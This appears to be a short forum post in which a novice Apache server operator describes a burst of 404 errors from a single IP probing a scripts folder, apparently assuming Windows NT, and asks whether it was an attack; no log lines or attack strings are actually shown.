Im not a pro at apache yet, so when I saw a lot of 404 errors near each other with a very distinctive pattern, I became suspicious. I copied part of the log so you could see and tell me if someone was trying some crap with me. I omitted the ip in case I'm wrong. All this was from a single ip and it appears as though someone was under the impression I used NT. The fact that they were trying to access the scripts folder leads me to believe they had malicious intentions.
